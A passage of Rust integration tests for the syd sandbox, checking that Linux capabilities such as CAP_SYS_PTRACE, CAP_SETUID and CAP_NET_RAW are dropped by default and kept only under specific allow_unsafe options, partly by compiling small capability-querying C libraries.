    Ok(())
}

// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_time_exec_unsafe_caps() -> TestResult {
    skip_unless_unshare!();

    // CAP_SYS_TIME must be kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["sys_time"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_time_exec_unsafe_time() -> TestResult {
    skip_unless_unshare!();

    // CAP_SYS_TIME must be kept with trace/allow_unsafe_time:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_time:1")
        .do_("hascap", ["sys_time"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_userns_drop_cap_syslog_exec_default() -> TestResult {
    skip_unless_unshare!();

    // CAP_SYSLOG must be dropped by default.
    let status = syd()
        .p("off")
        .p("container")
        .do_("hascap", ["syslog"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ENOENT);

    Ok(())
}

// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_userns_drop_cap_syslog_exec_unsafe_caps() -> TestResult {
    skip_unless_unshare!();

    // CAP_SYSLOG must be kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["syslog"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_userns_drop_cap_syslog_exec_unsafe_syslog() -> TestResult {
    skip_unless_unshare!();

    // CAP_SYSLOG must be kept with trace/allow_unsafe_syslog:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_syslog:1")
        .do_("hascap", ["syslog"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions on library load.
fn test_syd_userns_drop_cap_sys_ptrace_load_default() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // Ptrace must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_PTRACE is permitted
    if (cap_get_flag(caps, CAP_SYS_PTRACE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_PTRACE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_code!(status, nix::libc::ENOENT);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions on library load.
fn test_syd_userns_drop_cap_sys_ptrace_load_unsafe_caps() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // Ptrace is kept with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_PTRACE is permitted
    if (cap_get_flag(caps, CAP_SYS_PTRACE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_PTRACE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions on library load.
fn test_syd_userns_drop_cap_sys_ptrace_load_unsafe_debug() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // Ptrace is kept with trace/allow_unsafe_debug:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_PTRACE is permitted
    if (cap_get_flag(caps, CAP_SYS_PTRACE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_PTRACE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_debug:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_CHOWN restrictions on library load.
fn test_syd_userns_drop_cap_chown_load_default() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_CHOWN must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_CHOWN is permitted
    if (cap_get_flag(caps, CAP_CHOWN, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_CHOWN is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_code!(status, nix::libc::ENOENT);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_CHOWN restrictions on library load.
fn test_syd_userns_drop_cap_chown_load_allow_unsafe() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_CHOWN is kept with trace/allow_unsafe_chown:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_CHOWN is permitted
    if (cap_get_flag(caps, CAP_CHOWN, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_CHOWN is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_chown:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_CHOWN restrictions on library load.
fn test_syd_userns_drop_cap_chown_load_unsafe() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_CHOWN is not dropped with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_CHOWN is permitted
    if (cap_get_flag(caps, CAP_CHOWN, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_CHOWN is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETGID restrictions on library load.
fn test_syd_userns_drop_cap_setgid_load_default() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_SETGID must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETGID is permitted
    if (cap_get_flag(caps, CAP_SETGID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETGID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_code!(status, nix::libc::ENOENT);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETGID restrictions on library load.
fn test_syd_userns_drop_cap_setgid_load_safesetid() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_SETGID is not dropped with trace/allow_safe_setgid:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETGID is permitted
    if (cap_get_flag(caps, CAP_SETGID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETGID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_safe_setgid:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETGID restrictions on library load.
fn test_syd_userns_drop_cap_setgid_load_unsafe() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_SETGID is not dropped with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETGID is permitted
    if (cap_get_flag(caps, CAP_SETGID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETGID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETUID restrictions on library load.
fn test_syd_userns_drop_cap_setuid_load_default() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_SETUID must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETUID is permitted
    if (cap_get_flag(caps, CAP_SETUID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETUID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_code!(status, nix::libc::ENOENT);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETUID restrictions on library load.
fn test_syd_userns_drop_cap_setuid_load_safesetid() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_SETUID is not dropped with trace/allow_safe_setuid:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETUID is permitted
    if (cap_get_flag(caps, CAP_SETUID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETUID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_safe_setuid:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETUID restrictions on library load.
fn test_syd_userns_drop_cap_setuid_load_unsafe() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_SETUID is not dropped with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETUID is permitted
    if (cap_get_flag(caps, CAP_SETUID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETUID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions on library load.
fn test_syd_userns_drop_cap_net_bind_service_load_default() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_NET_BIND_SERVICE must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_BIND_SERVICE is permitted
    if (cap_get_flag(caps, CAP_NET_BIND_SERVICE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_BIND_SERVICE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_code!(status, nix::libc::ENOENT);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions on library load.
fn test_syd_userns_drop_cap_net_bind_service_load_unsafe_caps() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_BIND_SERVICE is permitted
    if (cap_get_flag(caps, CAP_NET_BIND_SERVICE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_BIND_SERVICE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions on library load.
fn test_syd_userns_drop_cap_net_bind_service_load_unsafe_bind() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_bind:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_BIND_SERVICE is permitted
    if (cap_get_flag(caps, CAP_NET_BIND_SERVICE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_BIND_SERVICE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_bind:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_RAW restrictions on library load.
fn test_syd_userns_drop_cap_net_raw_load_default() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_NET_RAW must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_RAW is permitted
    if (cap_get_flag(caps, CAP_NET_RAW, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
